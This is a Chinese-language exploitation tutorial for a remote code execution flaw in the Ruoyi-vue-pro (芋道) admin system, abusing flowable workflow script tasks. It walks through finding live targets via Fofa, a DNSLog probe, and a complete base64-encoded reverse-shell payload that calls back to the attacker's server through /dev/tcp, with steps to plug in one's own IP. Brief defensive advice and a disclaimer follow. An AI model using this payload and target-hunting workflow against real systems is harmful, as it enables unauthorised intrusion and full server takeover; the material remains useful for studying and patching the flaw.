芋道管理系统RCE漏洞简谈
字数 1240 2025-08-10 22:27:01
芋道管理系统RCE漏洞分析与利用教学
一、漏洞概述
芋道管理系统(Ruoyi-vue-pro)是一个在Gitee上非常受欢迎的开源系统,Star数量超过50k。该系统集成了flowable流程组件,该组件通过解析XML模板实现流程部署与执行。由于支持解析动态脚本的特性,攻击者可以注入恶意代码实现远程代码执行(RCE)。
二、受影响系统
- 芋道源码 Ruoyi-vue-pro
- 其他集成流程管理功能的系统(如若依、Guss等)
三、漏洞定位
-
资产发现:可通过Fofa搜索"芋道管理系统"找到目标
- 搜索地址:https://fofa.info/
-
漏洞组件:flowable流程组件
- 支持多种脚本语言(JavaScript、Python、Groovy等)
- 底层调用对应语言的解析函数(如JS调用ScriptEngine的eval函数)
四、漏洞利用步骤
1. 初步验证(DNSLog探测)
- 新建一个流程模板
- 设计模板,添加一个脚本任务:
- 脚本类型:JavaScript
- 脚本内容:
java.lang.Runtime.getRuntime().exec("ping xxx.dnslog.cn")
- 保存模型,绑定表单,发布流程
- 发起新流程,观察DNSLog是否有解析记录
2. 获取Shell(反弹Shell)
准备工作:
- 使用花生壳进行内网穿透或准备云服务器监听
- 参考:花生壳内网穿透教程
构造POC注意事项:
java.lang.Runtime.getRuntime().exec()不能直接处理多参数命令- 需要将反弹Shell命令转换为Base64形式
反弹Shell POC构造:
-
原始反弹Shell命令:
bash -i>& /dev/tcp/your_server_ip/port 0>&1 -
Base64编码转换:
echo "bash -i>& /dev/tcp/your_server_ip/port 0>&1" | base64 -
最终POC:
java.lang.Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaT4mIC9kZXYvdGNwL3lvdXJfc2VydmVyX2lwL3BvcnQgMD4mMQ==}|{base64,-d}|{bash,-i}"); -
替换步骤:
- 将
your_server_ip替换为你的服务器IP - 将
port替换为监听端口 - 重新生成Base64编码并更新POC
- 将
执行流程:
- 在流程脚本任务中使用上述POC
- 保存并发布流程
- 发起新流程触发漏洞
- 在监听服务器上获取反弹的Shell
五、技术原理分析
-
漏洞根源:
- flowable组件支持动态脚本执行
- 未对脚本内容进行充分过滤和限制
-
执行机制:
- JavaScript脚本调用
ScriptEngine.eval() - 其他语言(Python、Groovy)调用对应的解析函数
- JavaScript脚本调用
-
潜在风险:
- 流程引擎还支持表达式解析,可能存在其他注入点
- 几乎所有集成流程管理功能的系统都可能存在类似问题
六、防御建议
-
输入验证:
- 对流程脚本内容进行严格过滤
- 限制危险函数和系统命令调用
-
权限控制:
- 限制流程设计权限
- 实施最小权限原则
-
组件更新:
- 及时更新flowable组件到最新版本
- 关注安全公告和补丁
-
监控措施:
- 监控异常流程执行
- 记录脚本执行日志
七、参考资源
免责声明:本文仅用于技术研究和防御目的,请勿用于非法攻击行为。进行安全测试前请确保获得合法授权。